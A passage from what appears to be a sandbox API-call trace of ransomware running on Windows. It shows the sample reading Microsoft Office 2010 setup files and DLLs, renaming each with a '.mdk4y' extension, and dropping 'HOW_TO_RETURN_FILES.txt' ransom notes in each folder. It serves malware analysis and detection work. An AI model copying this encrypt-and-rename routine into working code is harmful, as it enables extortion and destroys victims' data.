lpPerformanceCount=0x37ddcc*=1818578300000) returned 1 [0110.553] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\setup.xml.mdk4y")) returned 1 [0110.554] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.554] AreFileApisANSI () returned 1 [0110.554] GetACP () returned 0x4e4 [0110.554] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VisioMUI.XML", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VisioMUI.XMLcrosoft Shared\\OFFICE14\\Office Setup Controller\\Setup.exe", lpUsedDefaultChar=0x37de34) returned 12 [0110.554] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818578400000) returned 1 [0110.554] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x251f, lpOverlapped=0x0) returned 1 [0110.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818579200000) returned 1 [0110.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818579200000) returned 1 [0110.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.mdk4y")) returned 1 [0110.563] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0110.563] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0110.563] AreFileApisANSI () returned 1 [0110.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 116 [0110.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0110.565] GetFileType (hFile=0x13c) returned 0x1 [0110.566] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0110.566] AreFileApisANSI () returned 1 [0110.566] GetACP () returned 0x4e4 [0110.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VISIOR", cchWideChar=6, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="VISIORen-us", lpUsedDefaultChar=0x37dec0) returned 6 [0110.566] AreFileApisANSI () returned 1 [0110.566] GetACP () returned 0x4e4 [0110.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=87, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\瞣_") returned 87 [0110.566] AreFileApisANSI () returned 1 [0110.566] GetACP () returned 0x4e4 [0110.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", lpUsedDefaultChar=0x37de34) returned 1 [0110.567] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.567] AreFileApisANSI () returned 1 [0110.567] GetACP () returned 0x4e4 [0110.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", lpUsedDefaultChar=0x37de34) returned 2 [0110.567] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.567] AreFileApisANSI () returned 1 [0110.567] GetACP () returned 0x4e4 [0110.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XML\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", lpUsedDefaultChar=0x37de34) returned 9 [0110.567] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818579700000) returned 1 [0110.567] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x5061, lpOverlapped=0x0) returned 1 [0110.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818581500000) returned 1 [0110.585] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818581500000) returned 1 [0110.585] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.mdk4y")) returned 1 [0110.586] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.586] AreFileApisANSI () returned 1 [0110.586] GetACP () returned 0x4e4 [0110.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VisiorWW.XML", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VisiorWW.XMLcrosoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\", lpUsedDefaultChar=0x37de34) returned 12 [0110.586] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.586] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818581600000) returned 1 [0110.586] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x2213, lpOverlapped=0x0) returned 1 [0110.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818587700000) returned 1 [0110.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818587700000) returned 1 [0110.648] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.mdk4y")) returned 1 [0110.654] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0110.654] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0110.655] AreFileApisANSI () returned 1 [0110.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 111 [0110.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0110.656] GetFileType (hFile=0x13c) returned 0x1 [0110.657] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0110.657] AreFileApisANSI () returned 1 [0110.657] GetACP () returned 0x4e4 [0110.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Word.en-us", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Word.en-uss", lpUsedDefaultChar=0x37dec0) returned 10 [0110.657] AreFileApisANSI () returned 1 [0110.657] GetACP () returned 0x4e4 [0110.657] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=91, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\h") returned 91 [0110.658] AreFileApisANSI () returned 1 [0110.658] GetACP () returned 0x4e4 [0110.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", lpUsedDefaultChar=0x37de34) returned 1 [0110.658] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.658] AreFileApisANSI () returned 1 [0110.658] GetACP () returned 0x4e4 [0110.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", lpUsedDefaultChar=0x37de34) returned 2 [0110.658] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.659] AreFileApisANSI () returned 1 [0110.659] GetACP () returned 0x4e4 [0110.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XML\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", lpUsedDefaultChar=0x37de34) returned 9 [0110.659] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818588900000) returned 1 [0110.659] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x978, lpOverlapped=0x0) returned 1 [0110.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818589100000) returned 1 [0110.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818589100000) returned 1 [0110.661] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.mdk4y")) returned 1 [0110.662] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0110.662] AreFileApisANSI () returned 1 [0110.662] GetACP () returned 0x4e4 [0110.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WordMUI.XML", cchWideChar=11, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="WordMUI.XMLicrosoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\", lpUsedDefaultChar=0x37de34) returned 11 [0110.662] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0110.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818589200000) returned 1 [0110.662] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x708, lpOverlapped=0x0) returned 1 [0110.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818592500000) returned 1 [0110.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818592500000) returned 1 [0110.695] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.mdk4y")) returned 1 [0110.696] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0110.696] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0110.696] AreFileApisANSI () returned 1 [0110.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 115 [0110.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0110.698] GetFileType (hFile=0x13c) returned 0x1 [0110.699] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0110.699] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0110.699] AreFileApisANSI () returned 1 [0110.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7b70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0110.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0110.700] GetFileType (hFile=0x130) returned 0x1 [0110.701] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0110.701] AreFileApisANSI () returned 1 [0110.701] GetACP () returned 0x4e4 [0110.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFREL.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OFFREL.DLLup Controller", lpUsedDefaultChar=0x37df4c) returned 10 [0110.701] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0110.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818593200000) returned 1 [0110.702] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2560, lpOverlapped=0x0) returned 1 [0110.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818597400000) returned 1 [0110.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818597400000) returned 1 [0110.744] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.mdk4y")) returned 1 [0110.745] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0110.745] AreFileApisANSI () returned 1 [0110.745] GetACP () returned 0x4e4 [0110.745] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OPHPROXY.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OPHPROXY.DLL Controller", lpUsedDefaultChar=0x37df4c) returned 12 [0110.745] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0110.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818597500000) returned 1 [0110.745] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4d88, lpOverlapped=0x0) returned 1 [0110.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818600200000) returned 1 [0110.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818600200000) returned 1 [0110.773] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ophproxy.dll.mdk4y")) returned 1 [0110.774] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0110.774] AreFileApisANSI () returned 1 [0110.774] GetACP () returned 0x4e4 [0110.774] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OPTINPS.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OPTINPS.DLLL", lpUsedDefaultChar=0x37df4c) returned 11 [0110.774] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0110.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818603100000) returned 1 [0110.801] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x47a0, lpOverlapped=0x0) returned 1 [0110.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818605500000) returned 1 [0110.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818605500000) returned 1 [0110.826] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\optinps.dll.mdk4y")) returned 1 [0110.827] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0110.827] AreFileApisANSI () returned 1 [0110.827] GetACP () returned 0x4e4 [0110.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PJ11OD11.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PJ11OD11.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0110.827] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0110.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818605800000) returned 1 [0110.828] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb7ba8, lpOverlapped=0x0) returned 1 [0110.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818608700000) returned 1 [0110.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818608700000) returned 1 [0110.865] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.mdk4y")) returned 1 [0110.866] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0110.866] AreFileApisANSI () returned 1 [0110.866] GetACP () returned 0x4e4 [0110.866] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PJRESC.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PJRESC.DLLLL", lpUsedDefaultChar=0x37df4c) returned 10 [0110.866] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0110.866] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818609600000) returned 1 [0110.866] ReadFile (in: hFile=0x130, lpBuffer=0x380020, 